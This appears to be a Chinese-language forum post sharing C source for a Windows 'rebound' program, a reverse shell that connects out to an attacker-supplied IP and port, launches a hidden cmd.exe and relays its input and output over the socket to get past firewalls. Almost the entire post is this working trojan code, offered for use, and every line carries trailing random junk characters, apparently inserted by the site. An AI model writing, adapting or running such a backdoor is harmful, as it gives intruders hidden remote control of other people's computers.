这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 HrQft1~N
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/* ==============================
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Rebound port in Windows NT |Orp:e!
By wind,2006/7 [CJr8Qn
===============================*/ 41jx+
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#include L+y90 T6?
#include |\/Y<_)JD
D>Dch0{H,:
#pragma comment(lib,"wsock32.lib") :Sd
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void OutputShell(); $@cg+Xrg1
SOCKET sClient; D^9r#&
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; %B'*eBj~fw
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void main(int argc,char **argv) DkGC+Dw
{ PF?tEw_WB
WSADATA stWsaData; +\n8##oAI
int nRet; ACcxQK}
SOCKADDR_IN stSaiClient,stSaiServer; *XZlnO
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if(argc != 3) VCZ.{MD
{ 7Z+4F=2ff
printf("Useage:\n\rRebound DestIP DestPort\n"); X!%CYmIRb
return;
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} CPCjY|w7
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WSAStartup(MAKEWORD(2,2),&stWsaData); =N%;HfUD
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); A\7qPfpG
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stSaiClient.sin_family = AF_INET; Eh&et0&=g
stSaiClient.sin_port = htons(0); jKI0d+U
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); B2PjS1z2
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) b xT|
{ 7C%z0/
printf("Bind Socket Failed!\n"); nDvj*lZF
return; q;p:)Q"
} [80L|?, *
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stSaiServer.sin_family = AF_INET; &nk[gb
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); D/1f>sl
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Rh:edQ#
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) CVp`G"W:
{ rG _T!']~
printf("Connect Error!"); Ne)H*DT
return; J~3+j6?%
} T(E$0a)#
OutputShell(); B1GBQH$Ms
} %4/>7 aB]Y
%B&y^mZv*\
void OutputShell() ]D@_cxud3
{ yaiw|j`A
char szBuff[1024]; j`GL#J[wqQ
SECURITY_ATTRIBUTES stSecurityAttributes; &"(xd@V)]A
OSVERSIONINFO stOsversionInfo; u!FX 0Ip
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }6;v`1Hr
STARTUPINFO stStartupInfo; Z9MT,
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char *szShell; f,ajo
PROCESS_INFORMATION stProcessInformation; l
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unsigned long lBytesRead; ^Gc#D:zU
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -hx' T6G%
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ^a6c/2K
stSecurityAttributes.lpSecurityDescriptor = 0; '$@bTW
stSecurityAttributes.bInheritHandle = TRUE; #Ont1>T,G
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%z}{jqD&:X
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ai!zb2j!E
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ~|_s2T
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); {G:dhi
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lLq:(zMH
stStartupInfo.wShowWindow = SW_HIDE; aXAV`%b
stStartupInfo.hStdInput = hReadPipe; 'rZYl Qm
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Cy'0O>v5
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GetVersionEx(&stOsversionInfo); \^$g%a
Fc{X$hh<
switch(stOsversionInfo.dwPlatformId) vN`2KCl~3
{ \G+ hi9T(
case 1: FwB}@)3
szShell = "command.com"; <6_RWtU
break; ^XsIQz[q
default: T)ZO+}
szShell = "cmd.exe"; 21b
break; K+=cNC4B
} MlDWK_y_&
hmfO\gc}y
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 5C}1iZEJ
~(( '1+
send(sClient,szMsg,77,0);
){u/v[O9"
while(1) +j*h bG=
{ Sm@T/+uG:
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); n-/{H4\
if(lBytesRead) cO]_5@#f'8
{ $e
bx
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |yqL0x0\l
send(sClient,szBuff,lBytesRead,0); jea{BhdUr
} ~C|. .Z
else S?ypka"L
{ '&XL|_Iq
lBytesRead=recv(sClient,szBuff,1024,0); w}wABO
if(lBytesRead<=0) break; Y8c#"vm(
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); WInfn f+'
} x4$#x70?
} ~]CQ
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return; 381a(F[$e
}